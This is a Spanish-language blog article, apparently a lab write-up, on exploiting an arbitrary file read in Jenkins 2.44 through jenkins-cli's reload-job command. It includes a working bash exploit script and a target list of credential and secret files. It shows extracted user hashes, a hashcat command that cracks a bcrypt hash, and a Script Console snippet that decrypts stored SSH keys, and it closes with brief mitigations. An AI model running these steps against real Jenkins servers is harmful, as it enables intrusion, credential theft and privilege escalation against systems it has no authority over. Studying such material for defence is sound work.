BOOK THIS SPACE FOR AD
ARTICLE ADJenkins es una plataforma de integración continua ampliamente adoptada en entornos DevOps debido a su capacidad para automatizar la construcción, prueba y despliegue de software. Sin embargo, cuando no se implementan medidas de seguridad adecuadas, Jenkins puede convertirse en un vector de ataque crítico. En este artículo, exploraremos la explotación de una vulnerabilidad de lectura arbitraria de archivos presente en Jenkins (versión 2.44), mediante la cual es posible acceder a información sensible del sistema. Además, analizaremos cómo esta brecha de seguridad puede facilitar la obtención de credenciales que, en última instancia, permiten la escalada de privilegios dentro del entorno comprometido. 🔍
📂 En versiones antiguas de Jenkins, como la 2.44, se ha identificado una vulnerabilidad que permite la lectura arbitraria de archivos en el sistema mediante la funcionalidad reload-job del jenkins-cli. Este problema surge debido a una validación inadecuada de rutas de archivos, lo que habilita la manipulación de entradas para acceder a información sensible sin restricciones adecuadas.
El siguiente script en Bash permite explotar esta vulnerabilidad utilizando jenkins-cli.jar para leer archivos arbitrarios del sistema:
#!/bin/bash# Se obtiene el archivo objetivo como argumento y se extrae su contenidooutput=$(java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080/' "reload-job" @"$1" 2>&1)# Se filtra la salida para obtener únicamente el contenido del archivo solicitado
result=$(echo "$output" | sed "s/^.*No such item ‘\(.*\)’ exists.*$/\1/")
echo "$result"
Ejemplo de uso:
./exploit.sh /ruta/del/archivoEste enfoque resulta especialmente efectivo para acceder a archivos que, bajo circunstancias normales, deberían estar protegidos. 🔓
Creditos del script: https://lanzt.github.io/htb/builder
📜 Una vez confirmada la vulnerabilidad, es posible dirigirse a archivos críticos que puedan contener información relevante para la escalada de privilegios.
Esta es una lista de archivos y directorios peligrosos que deberias tener en cuenta:
/var/jenkins_home/config.xml → Configuración principal de Jenkins./var/jenkins_home/credentials.xml → Credenciales almacenadas en Jenkins./var/jenkins_home/secrets/initialAdminPassword → Contraseña temporal de admin en una instalación nueva./var/jenkins_home/secrets/master.key → Clave para descifrar credenciales en credentials.xml./var/jenkins_home/secrets/hudson.util.Secret → Clave de cifrado utilizada por Jenkins./var/jenkins_home/users/users.xml → Lista de usuarios registrados en Jenkins./var/jenkins_home/users/<usuario>/config.xml → Configuración específica de cada usuario./var/jenkins_home/secrets/hudson.model.User.xml → Datos de los usuarios de Jenkins./var/log/jenkins/jenkins.log → Registros de actividad y errores./var/jenkins_home/logs/slaves/*.log → Logs de los nodos esclavos (si aplica)./var/jenkins_home/jobs/<job>/builds/<build>/log → Logs de ejecuciones de trabajos./var/jenkins_home/plugins/*.jpi → Plugins instalados en Jenkins./var/jenkins_home/plugins/<plugin>/config.xml → Configuración de cada plugin.El archivo /var/jenkins_home/users/users.xml almacena información sobre los usuarios registrados en Jenkins. Su lectura puede permitir identificar objetivos específicos dentro del sistema.
./exploit.sh /var/jenkins_home/users/users.xmlEjemplo de salida:
<?xml version='1.1' encoding='UTF-8'?><entry>
<string>jennifer</string>
</entry>
Cada usuario registrado en Jenkins tiene un archivo config.xml en su directorio personal. Este archivo puede contener credenciales cifradas o información de sesión relevante para una posible escalada de privilegios.
./exploit.sh /var/jenkins_home/users/jennifer_12108429903186576833/config.xmlDatos obtenidos:
Usuario: jenniferHash de contraseña:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a 🔑
El hash obtenido está en formato bcrypt ($2a$), lo que sugiere que puede ser descifrado mediante herramientas como Hashcat.
echo '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a' > hash.txthashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Resultado:
princess (contraseña en texto plano). 🏰
Con esta contraseña, se puede intentar iniciar sesión en Jenkins o en otros servicios del sistema, dado que es común la reutilización de credenciales entre plataformas.
🖥️ Jenkins proporciona la Script Console, una interfaz que permite ejecutar código con los mismos privilegios que el servidor. Un atacante con acceso a esta consola puede leer archivos internos, descifrar credenciales almacenadas y ejecutar comandos maliciosos.
Ruta habitual de acceso:
http://<jenkins-server>/script
Jenkins utiliza hudson.util.Secret para cifrar credenciales. Si se encuentran credenciales cifradas en credentials.xml, es posible descifrarlas con la Script Console.
<privateKeySource class="com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey$DirectEntryPrivateKeySource"><privateKey>{AQAAABAAAAAQ5gvG8Y9M6y...}</privateKey>
</privateKeySource>
Ejecutando el siguiente script en la Script Console, se obtiene la clave en texto claro:
import jenkins.model.*import hudson.util.*
println Secret.decrypt("{AQAAABAAAAAQ5gvG8Y9M6y...}")
Tras recuperar la clave, se puede almacenar en un archivo (id_rsa), asignarle permisos adecuados (chmod 600 id_rsa) y emplearla para acceder al servidor. 🔑
🚀 Acceso inicial mediante credenciales débiles:
Uso de credenciales predeterminadas (admin:admin).Configuraciones erróneas que exponen credenciales en config.xml.📂 Lectura arbitraria de archivos:
Explotación del reload-job para extraer archivos clave, como credentials.xml.🛠️ Ejecución remota de código:
Uso indebido de la Script Console.✅ Actualizar Jenkins a su versión más reciente y estable. ✅ Restringir el acceso a jenkins-cli y la Script Console. ✅ Implementar autenticación robusta, incluyendo contraseñas seguras y autenticación multifactor. ✅ Monitorear registros de actividad para identificar accesos sospechosos. ✅ Deshabilitar plugins innecesarios, reduciendo la superficie de ataque. ✅ Aplicar principios de privilegios mínimos, limitando el acceso a recursos críticos. 🔒
🔐 Jenkins es una herramienta fundamental para la integración continua, pero su seguridad depende de una configuración y gestión adecuadas. En este análisis, hemos explorado cómo una vulnerabilidad de lectura arbitraria de archivos puede facilitar la extracción de credenciales, el descifrado de secretos y la escalada de privilegios. La clave para proteger Jenkins radica en la implementación de buenas prácticas de seguridad y una gestión de accesos rigurosa.